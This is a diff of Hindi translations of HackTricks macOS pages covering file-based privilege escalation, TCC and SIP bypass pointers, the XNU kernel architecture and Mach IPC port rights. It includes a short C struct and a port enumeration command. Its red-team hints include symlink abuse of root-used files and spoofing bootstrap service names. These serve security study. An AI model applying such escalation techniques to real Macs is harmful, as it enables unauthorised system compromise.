फ़ाइल का उपयोग उपयोगकर्ता द्वारा एक समूह के कारण लिखने योग्य है -- फ़ाइल का उपयोग एक निर्देशिका के अंदर है जो उपयोगकर्ता के स्वामित्व में है (उपयोगकर्ता फ़ाइल बना सकता है) -- फ़ाइल का उपयोग एक निर्देशिका के अंदर है जो रूट के स्वामित्व में है लेकिन उपयोगकर्ता को एक समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है) +- उपयोग की गई फ़ाइल पहले से ही एक उपयोगकर्ता द्वारा बनाई गई थी (उपयोगकर्ता द्वारा स्वामित्व) +- उपयोग की गई फ़ाइल उपयोगकर्ता द्वारा एक समूह के कारण लिखने योग्य है +- उपयोग की गई फ़ाइल एक निर्देशिका के अंदर है जो उपयोगकर्ता के स्वामित्व में है (उपयोगकर्ता फ़ाइल बना सकता है) +- उपयोग की गई फ़ाइल एक निर्देशिका के अंदर है जो रूट के स्वामित्व में है लेकिन उपयोगकर्ता को एक समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है) -एक **फ़ाइल बनाने** में सक्षम होना जो **रूट द्वारा उपयोग की जाने वाली है**, एक उपयोगकर्ता को **इसके सामग्री का लाभ उठाने** या यहां तक कि **सिंबलिंक/हार्डलिंक** बनाने की अनुमति देता है जो इसे किसी अन्य स्थान पर इंगित करता है। +एक **फ़ाइल बनाने में सक्षम होना** जो **रूट द्वारा उपयोग की जाने वाली है**, एक उपयोगकर्ता को **इसके सामग्री का लाभ उठाने** या यहां तक कि **सिंबलिंक/हार्डलिंक** बनाने की अनुमति देता है ताकि इसे किसी अन्य स्थान पर इंगित किया जा सके। + +इस प्रकार की कमजोरियों के लिए **कमजोर `.pkg` इंस्टॉलर** की **जांच करना न भूलें**: -इस प्रकार की कमजोरियों के लिए **कमजोर `.pkg` इंस्टॉलर** की जांच करना न भूलें: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md @@ -83,6 +91,7 @@ macos-files-folders-and-binaries/macos-installers-abuse.md फाइल एक्सटेंशन द्वारा पंजीकृत अजीब ऐप्स का दुरुपयोग किया जा सकता है और विभिन्न अनुप्रयोगों को विशिष्ट प्रोटोकॉल खोलने के लिए पंजीकृत किया जा सकता है + {{#ref}} macos-file-extension-apps.md {{#endref}} @@ -93,14 +102,15 @@ macOS में **अनुप्रयोगों और बाइनरीज इसलिए, एक हमलावर जो macOS मशीन को सफलतापूर्वक समझौता करना चाहता है, उसे **अपने TCC विशेषाधिकार बढ़ाने** की आवश्यकता होगी (या यहां तक कि **SIP को बायपास करना**, उसकी आवश्यकताओं के आधार पर)। -ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किया जाता है, या अनुप्रयोग कुछ पहुँचों का अनुरोध कर सकता है और उसके बाद **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक अन्य तरीका जिससे एक प्रक्रिया इन विशेषाधिकारों को प्राप्त कर सकती है वह है **एक प्रक्रिया का बच्चा होना** जिसके पास वे **विशेषाधिकार** होते हैं क्योंकि वे आमतौर पर **विरासत में मिलते हैं**। +ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किए जाते हैं, या अनुप्रयोग कुछ पहुँचों का अनुरोध कर सकता है और उसके बाद **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक अन्य तरीका जिससे एक प्रक्रिया इन विशेषाधिकारों को प्राप्त कर सकती है वह है **एक प्रक्रिया के बच्चे** के रूप में होना जिसमें वे **विशेषाधिकार** होते हैं क्योंकि वे आमतौर पर **विरासत में** होते हैं। -इन लिंक का पालन करें ताकि विभिन्न तरीकों को [**TCC में विशेषाधिकार बढ़ाने के लिए**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC को बायपास करने के लिए**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) और कैसे अतीत में [**SIP को बायपास किया गया है**](macos-security-protections/macos-sip.md#sip-bypasses)। +इन लिंक का पालन करें ताकि [**TCC में विशेषाधिकार बढ़ाने**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC को बायपास करने**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) और कैसे अतीत में [**SIP को बायपास किया गया है**](macos-security-protections/macos-sip.md#sip-bypasses)। ## macOS पारंपरिक विशेषाधिकार वृद्धि बेशक, एक रेड टीम के दृष्टिकोण से आपको रूट तक बढ़ने में भी रुचि होनी चाहिए। कुछ संकेतों के लिए निम्नलिखित पोस्ट देखें: + {{#ref}} macos-privilege-escalation.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 34e5314b0..ae74fdda1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,25 +4,25 @@ ## XNU Kernel -**macOS का मूल XNU है**, जिसका अर्थ है "X is Not Unix"। यह कर्नेल मूल रूप से **Mach माइक्रोकर्नेल** (जिस पर बाद में चर्चा की जाएगी) और **Berkeley Software Distribution (BSD)** के तत्वों से बना है। XNU **I/O Kit** नामक एक प्रणाली के माध्यम से **कर्नेल ड्राइवरों के लिए एक प्लेटफ़ॉर्म** भी प्रदान करता है। XNU कर्नेल डार्विन ओपन-सोर्स प्रोजेक्ट का हिस्सा है, जिसका अर्थ है **इसका स्रोत कोड स्वतंत्र रूप से उपलब्ध है**। +macOS का **मुख्य भाग XNU है**, जिसका अर्थ है "X is Not Unix"। यह कर्नेल मूल रूप से **Mach माइक्रोकर्नेल** (जिस पर बाद में चर्चा की जाएगी) और **Berkeley Software Distribution (BSD)** के तत्वों से बना है। XNU **I/O Kit** नामक एक प्रणाली के माध्यम से **कर्नेल ड्राइवरों** के लिए एक प्लेटफॉर्म भी प्रदान करता है। XNU कर्नेल डार्विन ओपन-सोर्स प्रोजेक्ट का हिस्सा है, जिसका अर्थ है कि **इसका स्रोत कोड स्वतंत्र रूप से उपलब्ध है**। -एक सुरक्षा शोधकर्ता या Unix डेवलपर के दृष्टिकोण से, **macOS** एक **FreeBSD** प्रणाली के समान **महसूस हो सकता है** जिसमें एक सुंदर GUI और कई कस्टम एप्लिकेशन हैं। BSD के लिए विकसित अधिकांश एप्लिकेशन macOS पर बिना किसी संशोधन के संकलित और चलाए जा सकते हैं, क्योंकि Unix उपयोगकर्ताओं के लिए परिचित कमांड-लाइन उपकरण macOS में सभी मौजूद हैं। हालाँकि, चूंकि XNU कर्नेल Mach को शामिल करता है, इसलिए पारंपरिक Unix-समान प्रणाली और macOS के बीच कुछ महत्वपूर्ण अंतर हैं, और ये अंतर संभावित समस्याएँ उत्पन्न कर सकते हैं या अद्वितीय लाभ प्रदान कर सकते हैं। +एक सुरक्षा शोधकर्ता या Unix डेवलपर के दृष्टिकोण से, **macOS** एक **FreeBSD** प्रणाली के समान महसूस कर सकता है जिसमें एक सुंदर GUI और कई कस्टम एप्लिकेशन हैं। BSD के लिए विकसित अधिकांश एप्लिकेशन macOS पर बिना किसी संशोधन के संकलित और चलाए जा सकते हैं, क्योंकि Unix उपयोगकर्ताओं के लिए परिचित कमांड-लाइन उपकरण macOS में सभी मौजूद हैं। हालाँकि, चूंकि XNU कर्नेल Mach को शामिल करता है, इसलिए पारंपरिक Unix-जैसे सिस्टम और macOS के बीच कुछ महत्वपूर्ण अंतर हैं, और ये अंतर संभावित समस्याएँ उत्पन्न कर सकते हैं या अद्वितीय लाभ प्रदान कर सकते हैं। XNU का ओपन-सोर्स संस्करण: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach एक **माइक्रोकर्नेल** है जिसे **UNIX-संगत** होने के लिए डिज़ाइन किया गया है। इसके प्रमुख डिज़ाइन सिद्धांतों में से एक था **कर्नेल** स्थान में चलने वाले **कोड** की मात्रा को **कम करना** और इसके बजाय कई सामान्य कर्नेल कार्यों, जैसे फ़ाइल प्रणाली, नेटवर्किंग, और I/O को **उपयोगकर्ता-स्तरीय कार्यों के रूप में चलाने** की अनुमति देना। +Mach एक **माइक्रोकर्नेल** है जिसे **UNIX-संगत** बनाने के लिए डिज़ाइन किया गया है। इसके प्रमुख डिज़ाइन सिद्धांतों में से एक था **कर्नेल** स्थान में चलने वाले **कोड** की मात्रा को **कम करना** और इसके बजाय कई सामान्य कर्नेल कार्यों, जैसे फ़ाइल प्रणाली, नेटवर्किंग, और I/O, को **उपयोगकर्ता-स्तरीय कार्यों के रूप में चलाने** की अनुमति देना। XNU में, Mach **कर्नेल द्वारा सामान्यतः संभाले जाने वाले कई महत्वपूर्ण निम्न-स्तरीय संचालन** के लिए **जिम्मेदार** है, जैसे प्रोसेसर शेड्यूलिंग, मल्टीटास्किंग, और वर्चुअल मेमोरी प्रबंधन। ### BSD -XNU **कर्नेल** में **FreeBSD** प्रोजेक्ट से व्युत्पन्न कोड की एक महत्वपूर्ण मात्रा भी **शामिल** है। यह कोड **Mach के साथ कर्नेल का हिस्सा के रूप में चलता है**, एक ही पते की जगह में। हालाँकि, XNU के भीतर FreeBSD कोड मूल FreeBSD कोड से काफी भिन्न हो सकता है क्योंकि Mach के साथ इसकी संगतता सुनिश्चित करने के लिए संशोधन आवश्यक थे। FreeBSD कई कर्नेल संचालन में योगदान करता है, जिसमें शामिल हैं: +XNU **कर्नेल** में **FreeBSD** प्रोजेक्ट से निकाले गए कोड की एक महत्वपूर्ण मात्रा भी **शामिल** है। यह कोड **Mach के साथ कर्नेल का हिस्सा के रूप में चलता है**, एक ही पते की जगह में। हालाँकि, XNU के भीतर FreeBSD कोड मूल FreeBSD कोड से काफी भिन्न हो सकता है क्योंकि Mach के साथ इसकी संगतता सुनिश्चित करने के लिए संशोधन आवश्यक थे। FreeBSD कई कर्नेल संचालन में योगदान करता है, जिसमें शामिल हैं: - प्रक्रिया प्रबंधन - सिग्नल हैंडलिंग -- बुनियादी सुरक्षा तंत्र, जिसमें उपयोगकर्ता और समूह प्रबंधन शामिल है +- उपयोगकर्ता और समूह प्रबंधन सहित बुनियादी सुरक्षा तंत्र - सिस्टम कॉल अवसंरचना - TCP/IP स्टैक और सॉकेट - फ़ायरवॉल और पैकेट फ़िल्टरिंग @@ -49,7 +49,7 @@ macos-iokit.md macOS **कर्नेल एक्सटेंशन** (.kext) लोड करने के लिए **अत्यधिक प्रतिबंधात्मक** है क्योंकि कोड उच्च विशेषाधिकार के साथ चलेगा। वास्तव में, डिफ़ॉल्ट रूप से यह लगभग असंभव है (जब तक कि कोई बायपास नहीं पाया जाता)। -अगली पृष्ठ पर आप यह भी देख सकते हैं कि macOS अपने **कर्नेलकैश** के भीतर `.kext` को कैसे पुनर्प्राप्त करता है: +अगली पृष्ठ पर आप यह भी देख सकते हैं कि macOS अपने **कर्नेलकैश** के भीतर लोड किए गए `.kext` को कैसे पुनर्प्राप्त किया जा सकता है: {{#ref}} macos-kernel-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 1822f3c4f..8848577fa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -2,50 +2,50 @@ {{#include ../../../../banners/hacktricks-training.md}} -## मच संदेश भेजना पोर्ट्स के माध्यम से +## Mach संदेश भेजना पोर्ट के माध्यम से ### बुनियादी जानकारी -मच **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड POSIX प्रक्रियाओं और थ्रेड्स के लिए 1:1 मैप किए जाते हैं**। +Mach **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड 1:1 के अनुपात में POSIX प्रक्रियाओं और थ्रेड्स से मैप होते हैं**। -कार्य के बीच संचार मच इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट्स के बीच स्थानांतरित होते हैं**, जो **कर्नेल द्वारा प्रबंधित संदेश कतारों** के रूप में कार्य करते हैं। +कार्य के बीच संचार Mach इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो **कर्नेल द्वारा प्रबंधित संदेश कतारों** के रूप में कार्य करते हैं। -प्रत्येक प्रक्रिया में एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **मच पोर्ट्स** को खोजना संभव है। एक मच पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। +प्रत्येक प्रक्रिया के पास एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **mach पोर्ट** मिलते हैं। एक mach पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। एक प्रक्रिया किसी अन्य कार्य को कुछ अधिकारों के साथ एक पोर्ट नाम भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा। ### पोर्ट अधिकार -पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन-से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। मच पोर्ट्स MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। -- **प्राप्ति** अधिकार वाला एक कार्य संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे इसे संदेश भेजने की अनुमति मिलती है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। +- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। Mach पोर्ट MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। +- **प्राप्ति** अधिकार वाला एक कार्य संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेज सकता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। - **भेजने का अधिकार**, जो पोर्ट पर संदेश भेजने की अनुमति देता है। -- भेजने का अधिकार **क्लोन** किया जा सकता है ताकि एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सके और **इसे तीसरे कार्य को सौंप सके**। +- भेजने का अधिकार **क्लोन** किया जा सकता है, इसलिए एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सकता है और **इसे तीसरे कार्य को दे सकता है**। - **एक बार भेजने का अधिकार**, जो पोर्ट पर एक संदेश भेजने की अनुमति देता है और फिर गायब हो जाता है। -- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जिसे यह शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। -- **मृत नाम**, जो वास्तव में एक वास्तविक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं। +- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जो इसे शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। +- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं। -**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, ताकि एक कार्य डुप्लिकेट कर सके और तीसरे कार्य को अधिकार दे सके**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** के रूप में जाना जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। +**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, इसलिए एक कार्य डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** कहा जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। -### फ़ाइल पोर्ट्स +### फ़ाइल पोर्ट -फ़ाइल पोर्ट्स मैक पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (मच पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक fileport से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है। +फ़ाइल पोर्ट मैक पोर्ट में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (Mach पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक fileport से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है। ### संचार स्थापित करना -#### चरण: +#### कदम: जैसा कि उल्लेख किया गया है, संचार चैनल स्थापित करने के लिए, **बूटस्ट्रैप सर्वर** (**launchd** मैक में) शामिल होता है। 1. कार्य **A** एक **नया पोर्ट** आरंभ करता है, प्रक्रिया में एक **प्राप्ति अधिकार** प्राप्त करता है। 2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक भेजने का अधिकार उत्पन्न करता है**। -3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, **पोर्ट के सेवा नाम** और **भेजने के अधिकार** को बूटस्ट्रैप रजिस्टर के रूप में ज्ञात प्रक्रिया के माध्यम से प्रदान करता है। -4. कार्य **B** **बूटस्ट्रैप सर्वर** के साथ बातचीत करता है ताकि सेवा नाम के लिए बूटस्ट्रैप **लुकअप** को निष्पादित किया जा सके। यदि सफल होता है, तो **सर्वर कार्य A से प्राप्त SEND अधिकार को डुप्लिकेट करता है** और **इसे कार्य B को संप्रेषित करता है**। +3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, **पोर्ट की सेवा नाम** और **भेजने का अधिकार** प्रदान करता है, जिसे बूटस्ट्रैप रजिस्टर के रूप में जाना जाता है। +4. कार्य **B** **बूटस्ट्रैप सर्वर** के साथ बातचीत करता है ताकि सेवा नाम के लिए बूटस्ट्रैप **लुकअप** किया जा सके। यदि सफल होता है, तो **सर्वर कार्य A से प्राप्त SEND अधिकार को डुप्लिकेट करता है** और **इसे कार्य B को भेजता है**। 5. SEND अधिकार प्राप्त करने पर, कार्य **B** **एक संदेश तैयार करने** और **कार्य A** को भेजने में सक्षम होता है। -6. द्विदिशीय संचार के लिए आमतौर पर कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। +6. द्विदिश संचार के लिए आमतौर पर कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने का** अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)। -बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता है जो एक कार्य द्वारा दावा किया गया है। इसका अर्थ है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण** कर सकता है, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना। +बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता है जो एक कार्य द्वारा दावा किया गया है। इसका मतलब है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण** कर सकता है, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना। फिर, Apple **सिस्टम-प्रदत्त सेवाओं के नाम** को सुरक्षित कॉन्फ़िगरेशन फ़ाइलों में संग्रहीत करता है, जो **SIP-सुरक्षित** निर्देशिकाओं में स्थित होते हैं: `/System/Library/LaunchDaemons` और `/System/Library/LaunchAgents`। प्रत्येक सेवा नाम के साथ, **संबंधित बाइनरी भी संग्रहीत होती है**। बूटस्ट्रैप सर्वर, इन सेवा नामों में से प्रत्येक के लिए एक **प्राप्ति अधिकार** बनाएगा और रखेगा। @@ -53,17 +53,17 @@ - कार्य **B** एक सेवा नाम के लिए बूटस्ट्रैप **लुकअप** आरंभ करता है। - **launchd** जांचता है कि कार्य चल रहा है और यदि नहीं है, तो **इसे शुरू करता है**। -- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** करता है। यहां, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**। +- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** करता है। यहां, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, उसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**। - launchd **SEND अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**। -- कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A** (सेवा) को देता है ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। +- कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने का** अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A (svc) को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)। हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-सिस्टम कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है। -### एक मच संदेश +### एक Mach संदेश [यहां अधिक जानकारी प्राप्त करें](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, मच संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक होता है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है: +`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, Mach संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक होता है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -74,14 +74,14 @@ mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t; ``` -प्रक्रियाएँ जिनके पास _**receive right**_ है, वे एक Mach पोर्ट पर संदेश प्राप्त कर सकती हैं। इसके विपरीत, **senders** को _**send**_ या _**send-once right**_ दिया जाता है। send-once right विशेष रूप से एकल संदेश भेजने के लिए है, जिसके बाद यह अमान्य हो जाता है। +Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. -एक आसान **bi-directional communication** प्राप्त करने के लिए, एक प्रक्रिया एक **mach port** को mach **message header** में निर्दिष्ट कर सकती है जिसे _reply port_ (**`msgh_local_port`**) कहा जाता है जहाँ संदेश का **receiver** इस संदेश का **reply** भेज सकता है। **`msgh_bits`** में बिटफ्लैग का उपयोग **indicate** करने के लिए किया जा सकता है कि इस पोर्ट के लिए एक **send-once** **right** प्राप्त और स्थानांतरित किया जाना चाहिए (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)। +In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> ध्यान दें कि इस प्रकार की bi-directional communication का उपयोग XPC संदेशों में किया जाता है जो एक replay की अपेक्षा करते हैं (`xpc_connection_send_message_with_reply` और `xpc_connection_send_message_with_reply_sync`)। लेकिन **आमतौर पर विभिन्न पोर्ट बनाए जाते हैं** जैसा कि पहले समझाया गया है ताकि bi-directional communication बनाया जा सके। +> ध्यान दें कि इस प्रकार की द्विदिश संचार XPC संदेशों में उपयोग की जाती है जो एक पुनःप्राप्ति की अपेक्षा करती हैं (`xpc_connection_send_message_with_reply` और `xpc_connection_send_message_with_reply_sync`)। लेकिन **आमतौर पर विभिन्न पोर्ट बनाए जाते हैं** जैसा कि पहले समझाया गया है द्विदिश संचार बनाने के लिए। -संदेश हेडर के अन्य क्षेत्र हैं: +The other fields of the message header are: - `msgh_size`: पूरे पैकेट का आकार। - `msgh_remote_port`: वह पोर्ट जिस पर यह संदेश भेजा गया है। @@ -89,7 +89,7 @@ mach_msg_id_t msgh_id; - `msgh_id`: इस संदेश की ID, जिसे रिसीवर द्वारा व्याख्यायित किया जाता है। > [!CAUTION] -> ध्यान दें कि **mach messages एक \_mach port**\_ के माध्यम से भेजे जाते हैं, जो एक **एकल रिसीवर**, **कई सेंडर** संचार चैनल है जो mach कर्नेल में निर्मित है। **कई प्रक्रियाएँ** एक mach पोर्ट पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**। +> ध्यान दें कि **mach संदेश \_mach पोर्ट** पर भेजे जाते हैं, जो एक **एकल रिसीवर**, **कई प्रेषक** संचार चैनल है जो mach कर्नेल में निर्मित है। **कई प्रक्रियाएँ** एक mach पोर्ट पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**। ### Enumerate ports ```bash @@ -99,7 +99,7 @@ lsmp -p ### कोड उदाहरण -ध्यान दें कि **प्रेषक** एक पोर्ट **आवंटित** करता है, नाम `org.darlinghq.example` के लिए एक **भेजने का अधिकार** बनाता है और इसे **बूटस्ट्रैप सर्वर** पर भेजता है जबकि प्रेषक ने उस नाम के **भेजने के अधिकार** के लिए अनुरोध किया और इसका उपयोग **संदेश भेजने** के लिए किया। +ध्यान दें कि **sender** एक पोर्ट **आवंटित** करता है, नाम `org.darlinghq.example` के लिए एक **send right** बनाता है और इसे **bootstrap server** पर भेजता है जबकि sender ने उस नाम के **send right** के लिए अनुरोध किया और इसका उपयोग **संदेश भेजने** के लिए किया। {{#tabs}} {{#tab name="receiver.c"}} @@ -225,23 +225,24 @@ printf("Sent a message\n"); {{#endtab}} {{#endtabs}} -### विशेष पोर्ट +### विशेषाधिकार 